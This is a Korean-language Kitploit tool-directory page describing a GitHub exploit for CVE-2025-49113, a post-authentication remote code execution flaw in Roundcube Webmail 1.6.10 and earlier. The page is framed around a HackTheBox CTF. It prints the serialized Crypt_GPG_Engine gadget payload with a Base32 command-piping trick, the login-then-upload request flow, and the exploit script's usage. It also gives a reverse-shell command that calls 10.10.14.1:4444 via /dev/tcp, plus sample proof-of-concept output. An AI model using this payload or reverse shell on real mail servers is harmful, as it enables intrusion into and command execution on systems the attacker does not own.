Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 PHP 객체 역직렬화를 통한 인증 후 RCE (HackTheBox CTF) | Kitploit
도구/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingPayload Development
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 PHP 객체 역직렬화를 통한 인증 후 RCE (HackTheBox CTF)

저장소 보기
85개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-49113 — PHP 객체 역직렬화를 통한 Roundcube 인증 후 RCE

개요

필드세부 정보
CVECVE-2025-49113
소프트웨어Roundcube Webmail
영향받는 버전≤ 1.6.10
취약점PHP 객체 역직렬화 → RCE
인증필요 (모든 유효한 사용자)
영향서버에서의 원격 코드 실행
발견 경위HackTheBox CTF 중 발견됨

설명

Roundcube Webmail 1.6.10 이하 버전은 인증 후 원격 코드 실행(RCE)에 취약합니다. 파일 업로드 핸들러는 업로드된 첨부 파일의 파일 이름에 포함된 PHP 객체를 역직렬화합니다. 직렬화된 Crypt_GPG_Engine 객체가 포함된 악성 파일 이름을 제작함으로써, 인증된 공격자는 파일 이름이 처리될 때 서버에서 임의의 명령 실행을 유발할 수 있습니다.

기술적 세부 사항

취약점 분류

PHP 객체 역직렬화 (CWE-502). Roundcube의 파일 업로드 엔드포인트는 클라이언트가 제공한 파일 이름을 검증 없이 역직렬화 경로로 전달합니다. Crypt_GPG_Engine 클래스는 Roundcube의 종속성 체인에 존재하며 활용 가능한 가젯 체인으로 작동합니다.

가젯 체인

Crypt_GPG_Engine 클래스에는 객체 소멸/초기화 중 시스템 수준 호출에 전달되는 _gpgconf 속성이 포함되어 있습니다. 조작된 _gpgconf 값을 가진 인스턴스를 직렬화함으로써 공격자는 명령 실행을 강제합니다.

Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

명령은 파일 이름 필드에서 특수 문자 문제를 피하기 위해 Base32로 인코딩됩니다.

익스플로잇 흐름

Attacker (authenticated)
    │
    ▼
GET /?_task=login         → Fetch CSRF token + session cookie
    │
    ▼
POST /?_task=login         → Authenticate with valid credentials
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
Server deserializes filename → Crypt_GPG_Engine instantiated
    │
    ▼
_gpgconf executed → OS command runs as webserver user

왜 Base32인가?

명령은 multipart 파일 이름 필드(따옴표, 슬래시 등)를 손상시킬 수 있는 문자를 피하기 위해 Base32로 인코딩됩니다. 서버에서 최종적으로 실행되는 명령은 다음과 같습니다:

echo "<B32_CMD>" | base32 -d | sh

사용법

python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
플래그설명
-uRoundcube 사용자 이름
-pRoundcube 비밀번호
-i대상 URL (예: http://mail.target.htb)
-x서버에서 실행할 명령

예제

# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

의존성

외부 라이브러리가 필요하지 않습니다 — Python 표준 라이브러리만 사용합니다 (http.client, urllib, base64 등).

개념 증명 (PoC)

$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

참고 자료

  • NVD 항목
  • Roundcube 공식 사이트
도구 다운로드